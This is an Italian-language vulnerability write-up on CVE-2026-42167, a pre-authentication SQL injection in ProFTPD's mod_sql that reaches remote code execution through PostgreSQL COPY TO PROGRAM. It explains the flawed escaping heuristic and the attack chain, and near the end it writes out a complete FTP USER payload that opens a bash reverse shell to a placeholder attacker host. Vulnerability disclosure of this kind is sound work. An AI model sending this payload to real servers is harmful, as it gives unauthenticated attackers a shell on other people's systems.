
Pre-Auth RCE in ProFTPD tramite bypass di is_escaped_text() in mod_sql (CVE-2026-42167)
mod_sqlAutore: Van Glenndon Enad
Scoperta originale: ZeroPath
Pubblicato: 1 maggio 2026
Gravità: Critica
Punteggio CVSS v3.1: 8.1
Vettore CVSS v3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Punteggio CVSS v2: 7.6
Vettore CVSS v2: CVSS2#AV:N/AC:H/Au:N/C:C/I:C/A:C
CWE: CWE-89 (SQL Injection), CWE-78 (OS Command Injection)
CVE-2026-42167 è una vulnerabilità critica di SQL injection pre-autenticazione nel modulo di estensione mod_sql di ProFTPD. Un difetto logico nella funzione is_escaped_text() consente a un attaccante non autenticato di bypassare l'escape dei caratteri SQL creando un comando USER il cui valore soddisfa un'euristica difettosa di "già sottoposto a escape". L'SQL iniettato viene passato direttamente al database backend tramite PQexec(), che supporta query impilate.
Quando il ruolo del database ProFTPD è un superutente PostgreSQL — una configurazione errata comune nelle distribuzioni containerizzate — l'iniezione raggiunge la direttiva COPY TO PROGRAM di PostgreSQL, risultando in esecuzione di codice a livello di sistema operativo non autenticata come utente di sistema postgres. Non sono richieste credenziali, accesso precedente o interazione con l'utente.
| Componente | Versione |
|---|---|
| ProFTPD | ≤ 1.3.9 |
| Modulo | mod_sql + mod_sql_postgres |
| Versione corretta | 1.3.9a (rilasciata il 27 aprile 2026) |
| Backend | PostgreSQL (RCE); MySQL / SQLite (solo bypass dell'autenticazione) |
ProFTPD è un server FTP open source ampiamente distribuito. Secondo Shodan, su internet esistono oltre 160.000 istanze ProFTPD pubblicamente accessibili. Il modulo mod_sql è comunemente abilitato nei pannelli di controllo di hosting condiviso, tra cui cPanel, Plesk, DirectAdmin, Webmin e ISPConfig.
Il modulo mod_sql di ProFTPD supporta l'autenticazione basata su SQL e la registrazione delle attività. Le stringhe di formato dei log possono includere variabili di sostituzione come %U (nome utente), %r (host remoto) e %m (comando FTP). Queste variabili vengono espanse in fase di esecuzione e inserite nelle query SQL eseguite contro il backend configurato.
Una configurazione vulnerabile tipica:
LoadModule mod_sql.c
LoadModule mod_sql_postgres.c
SQLEngine on
SQLBackend postgres
SQLAuthTypes Plaintext
SQLConnectInfo dbname@localhost dbuser dbpassword
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog * log_activity
SQLLog ERR_* log_activity
In questa configurazione, il valore fornito nel comando FTP USER viene sostituito per %U e incluso direttamente in un'istruzione SQL INSERT. Prima dell'inserimento, il valore viene passato attraverso is_escaped_text() per determinare se necessita di escape. Questa funzione contiene un difetto logico critico.
is_escaped_text()Situata in contrib/mod_sql.c, la funzione applica la seguente euristica per decidere se una stringa è "già sottoposta a escape":
static int is_escaped_text(const char *s) {
size_t slen = strlen(s);
/* Assume the string is escaped if:
* 1. It starts with a single quote
* 2. It ends with a single quote
* 3. It contains no internal single quotes
*/
if (slen >= 2 &&
s[0] == '\'' &&
s[slen - 1] == '\'' &&
strchr(s + 1, '\'') == (s + slen - 1)) {
return TRUE; /* skip escaping */
}
return FALSE;
}
Quando questa funzione restituisce TRUE, sql_resolved_append_text() (riga 777) inserisce il valore grezzo, senza escape, direttamente nella stringa della query. Il valore viene quindi eseguito da PQexec() in contrib/mod_sql_postgres.c (riga 1146), che supporta query impilate (multi-istruzione).
L'euristica era probabilmente intesa a rilevare stringhe già racchiuse da delimitatori di stringa SQL. Tuttavia, non tenta di verificare che il contenuto interno sia sicuro — controlla solo che non siano presenti virgolette singole aggiuntive. Ciò significa che qualsiasi payload che:
''$$ di PostgreSQL)...supererà il controllo e verrà iniettato letteralmente nella query SQL.
FTP Client ProFTPD PostgreSQL
│ │ │
│── USER '<payload>' ──▶ │ │
│ │ expand %U = '<payload>' │
│ │ is_escaped_text() = TRUE│
│ │ skip escaping │
│ │── INSERT INTO activity │
│ │ VALUES ('<payload>', │
│ │ ...) ──────────────▶ │
│ │ │ execute stacked SQL
│ │ │ COPY TO PROGRAM
│ │ │── shell command ──▶ OS
| Requisito | Note |
|---|---|
mod_sql abilitato con registrazione SQL | Deve registrare una variabile pre-autenticazione come %U |
| Backend PostgreSQL | Richiesto per RCE tramite COPY TO PROGRAM; MySQL/SQLite consentono comunque il bypass dell'autenticazione |
| Il ruolo del database è superutente PostgreSQL | COPY TO PROGRAM è limitato ai superutenti o ai membri di pg_execute_server_program |
bash disponibile sull'host del database | Richiesto per la consegna della reverse shell tramite /dev/tcp |
| Raggiungibilità di rete | Il container PostgreSQL deve poter raggiungere l'attaccante sulla porta del listener |
La condizione di superutente è spesso soddisfatta nelle distribuzioni containerizzate in cui l'utente del database ProFTPD viene creato tramite POSTGRES_USER=... nell'immagine Docker ufficiale di PostgreSQL, o quando un amministratore concede al ruolo ProFTPD la proprietà del database.
Step 1: Attacker sends crafted USER command (pre-auth, no credentials needed)
│
▼
Step 2: ProFTPD expands %U with attacker-controlled value
│
▼
Step 3: is_escaped_text() bypass — raw SQL passes through unescaped
│
▼
Step 4: PQexec() executes stacked query against PostgreSQL
│
▼
Step 5: COPY TO PROGRAM executes attacker shell command as postgres OS user
│
▼
Step 6: Reverse shell / file exfiltration delivered to attacker
Il payload dell'iniezione viene consegnato tramite il comando FTP USER:
USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$bash -c $$bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1$$$$; --'
| Condizione | Soddisfatta? | Motivo |
|---|---|---|
Inizia con ' | ✅ | Il primo carattere è ' |
Termina con ' | ✅ | L'ultimo carattere è ' |
| Nessuna virgoletta singola interna | ✅ | Le stringhe interne utilizzano la quotazione con dollaro $$ |